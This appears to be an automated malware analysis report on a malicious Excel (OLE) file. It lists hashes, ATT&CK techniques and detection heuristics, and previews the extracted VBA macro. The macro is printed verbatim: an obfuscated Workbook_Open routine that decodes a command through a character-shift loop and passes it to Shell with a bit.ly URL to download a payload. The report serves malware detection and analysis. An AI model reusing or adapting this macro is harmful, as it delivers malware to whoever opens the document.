Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 6b839ea4b13b2a97…

MALICIOUS

Office (OLE)

45.5 KB Created: 2006-09-16 00:00:00 Authoring application: Microsoft Excel First seen: 2019-08-04
MD5: c40391de6144b5e1ccbef7f0e985d70c SHA-1: 2e8372c22c3581d07bce7697495b65b7f2e43e6e SHA-256: 6b839ea4b13b2a974e62fd87443a8d0c379a7e87493fb71916ecc99c2ea28d52
342 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The Workbook_Open macro contains obfuscated VBA code that utilizes Shell() to execute a command. This command is constructed by concatenating strings and includes a URL, indicating it's designed to download and run a secondary payload. The obfuscation and use of Shell() are strong indicators of malicious intent, likely for initial payload delivery.

Heuristics 8

  • ClamAV: Xls.Malware.Sload-7135989-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Xls.Malware.Sload-7135989-0
  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • Obfuscated VBA Shell command with URL critical OLE_VBA_OBFUSCATED_SHELL_URL
    VBA macro invokes Shell with command text assembled through decoder or string-manipulation functions and includes a URL. This is a high-confidence downloader/dropper pattern, stronger than Shell or URL evidence on their own.
  • VBA character-shift decoded Shell command critical OLE_VBA_ASC_CHR_SHIFT_SHELL
    VBA auto-exec macro stores an encoded command string, decodes it with a Mid/Asc/Chr character-shift loop, and passes the recovered text to Shell. This is a high-confidence command stager.
  • Workbook_Open macro high OLE_VBA_WBOPEN
    Workbook_Open macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://�bit.ly/@�$Cm� Referenced by macro
    • http://bit.ly/�Referenced by macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 10819 bytes
SHA-256: 4001b9cd51ecb25367cb9e5667304cccf51104559dd982aea8ff9987f36805f3
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub asdasd()

End Sub

Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Private Sub Workbook_Open()
Cmme3qs = b67yYRsSb(StrReverse(LXbBkHBKV(s4AZS9Zf3("6E"))), StrReverse(LXbBkHBKV(s4AZS9Zf3("31"))))
Cmme3qssw = b67yYRsSb(StrReverse(LXbBkHBKV(s4AZS9Zf3("7C"))), StrReverse(StrReverse(LXbBkHBKV(LXbBkHBKV(s4AZS9Zf3("39"))))))
Cms2me3qssw = b67yYRsSb(StrReverse(LXbBkHBKV(s4AZS9Zf3("6D"))), StrReverse(LXbBkHBKV(s4AZS9Zf3("35"))))
Cm22me3qssw = b67yYRsSb(StrReverse(LXbBkHBKV(s4AZS9Zf3("7B"))), StrReverse(LXbBkHBKV(s4AZS9Zf3("37"))))
Cm22m53qssw = "a http://bit.ly/"
Cm22m5c3qssw = "SusuMuli"
Var = Cmme3qs + Cmme3qssw + Cms2me3qssw + Cm22me3qssw + Cm22m53qssw + Cm22m5c3qssw
Shell (Var)
End Sub
Public Function b67yYRsSb(sPbiSXe6T As String, dfltAGj5o As Integer)
    Dim DaMLhwTbZ As Integer
    For DaMLhwTbZ = 1 To Len(sPbiSXe6T)
If 200502144 = 200502144 + 1 Then End

Dim ArRgYJqsNpuIFnBaaC As Currency
GoTo LbCBRHKCaEigODXNES
LbCBRHKCaEigODXNES:
GoTo ePTuigaspLiGLITQmHRcQAPjCVQFluvtyjcNbaquwoNdUFn:
RcQAPjCVQFluvtyjcNbaquwoNdUFnJmrFPkxlYyUTw:
lIDhjPVpxnSNNMR = "JQhHHQMHgJomTIdT"
GoTo uhlKlwqIFcQOKQnCYLUsnQSzThVCKLJOmtAerqGKNEetm
QOKQnCYLUsnQSzThVCKLJOmtAerqGKNEetm:
YiRQEEgoAdwczReRPJcvfqvsDUVrsBaGkzgmFND = "efdSLS"
GoTo DFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSaclDhjPVpxnSNNMRCJQh
HQMPHgJomTIdTKYiREEgoAdwczReRPJcZvfqsDUVrsBaGkzgmFDjefdiSLSxYJaegYxa:
etmVDFbDHVRAOooOYk = "gLjBbBMGIfOZfbnDSa"
GoTo pkZtkbozihUGiEQfePTuigaspLiGLITQmHRcQAPjCVQFluvtyjcNbaquwoNdUFn
JmrFPkxlYyUTwuhlKlwqIFcQOKQnCYLUsnQSzT:
        Mid(sPbiSXe6T, DaMLhwTbZ, 1) = Chr(Asc(Mid(sPbiSXe6T, DaMLhwTbZ, 1)) - dfltAGj5o)
GoTo hVCKLJOmtAerqGKNEetmDFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSacl
DFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSaclDhjPVpxnSNNMRCJQhHQMPHgJomTIdTKYiR:
YJaegYxaEpkZtkboz = "hUGEQf"
GoTo JmrFPkxlYyUTwuhlKlwqIFc
ePTuigaspLiGLITQmHRcQAPjCVQFluvtyjcNbaquwoNdUFn:
YJaegYxaEpkZtkboz = "hUGEQf"
GoTo QOKQnCYLUsnQSzThVCKLJOmtAerqGKNEetm
pkZtkbozihUGiEQfePTuigaspLiGLITQmHRcQAPjCVQFluvtyjcNbaquwoNdUFn:
FnpJmrFPkxlYyUTwduhllwqIFcyQOKQnCYLUsnQ = "zTZhVCKLJmtAerqGKN"
GoTo JmrFPkxlYyUTwuhlKlwqIFcQOKQnCYLUsnQSzT
hVCKLJOmtAerqGKNEetmDFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSacl:
GoTo DhjPVpxnSNNMRCJQhHQMPHgJomTIdTKYiREEgoAdwczReRPJcZvfqsDUVrsBaGkzgmF
DhjPVpxnSNNMRCJQhHQMPHgJomTIdTKYiREEgoAdwczReRPJcZvfqsDUVrsBaGkzgmF:
FnpJmrFPkxlYyUTwduhllwqIFcyQOKQnCYLUsnQ = "zTZhVCKLJmtAerqGKN"
GoTo DjefdiSLSxYJaegYxapkZtkbozihUGiEQfePTuigaspLiGLITQmH
DjefdiSLSxYJaegYxapkZtkbozihUGiEQfePTuigaspLiGLITQmH:
etmVDFbDHVRAOooOYk = "gLjBbBMGIfOZfbnDSa"
GoTo RcQAPjCVQFluvtyjcNbaquwoNdUFnJmrFPkxlYyUTw
DFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSaclDhjPVpxnSNNMRCJQh:
lIDhjPVpxnSNNMR = "JQhHHQMHgJomTIdT"
GoTo HQMPHgJomTIdTKYiREEgoAdwczReRPJcZvfqsDUVrsBaGkzgmFDjefdiSLSxYJaegYxa
uhlKlwqIFcQOKQnCYLUsnQSzThVCKLJOmtAerqGKNEetm:
YiRQEEgoAdwczReRPJcvfqvsDUVrsBaGkzgmFND = "efdSLS"
GoTo DFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSaclDhjPVpxnSNNMRCJQhHQMPHgJomTIdTKYiR
JmrFPkxlYyUTwuhlKlwqIFc:

    Next DaMLhwTbZ
If 837657137 = 837657137 + 1 Then End

Dim ABKicGIouOWMrmnlqb As Single
GoTo cLLwZiuXqVtMXMJDVS
cLLwZiuXqVtMXMJDVS:
GoTo pkZtkbozihUGiEQfePTuigaspLiGLITQmHRcQAPjCVQFluvtyjcNbaquwoNdUFnJmrFPkxlYyUTw:
pkZtkbozihUGiEQfePTuigaspLiGLITQmHRcQAPjCVQFluvtyjcNbaquwoNdUFnJmrFPkxlYyUTw:
dwczReRPJcZvfqvsDU = "rsBaGkzgmFDjefdiSLxYJaegYxa"
GoTo MGZIfOZfbnDSaclDhjPVpxnSNNMRCJQhHQMPHgJomTIdTKYiREEgoAdwczReRPJcZvfq
RcQAPjCVQFluvtyjcNbaquwoNdUFnJmrFPkxlYyUTwuhlKlwqIFc:
KlwqIFcyQOKQnCYL = "snQSzTZhVCLJOmtAer"
GoTo QOKQnCYLUsnQSzThVCKLJOmtAerqGKNEetmDFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSacl
hVCKLJOmtAerqGKNEetmDFbDHVRAOooOYkMgLjBbMGZIfOZfbnDSaclDhjPVpxnSNNMRCJQhHQMPHgJomTIdTKYiR:
OZfbnDSaclIDhjPpxnSNNMRCJQhHHQMPHgJ = "mTIdKYiRQEEgo"
GoTo EEgoAdwczReRPJcZvfqsDUVrsBaGkzgmFDjefdiSLSxYJaegYxapkZtkbozihUGiEQfePTuigaspLiGLITQmH
sDUV
... (truncated)

Open this report in the interactive analyzer, or submit your own file for analysis.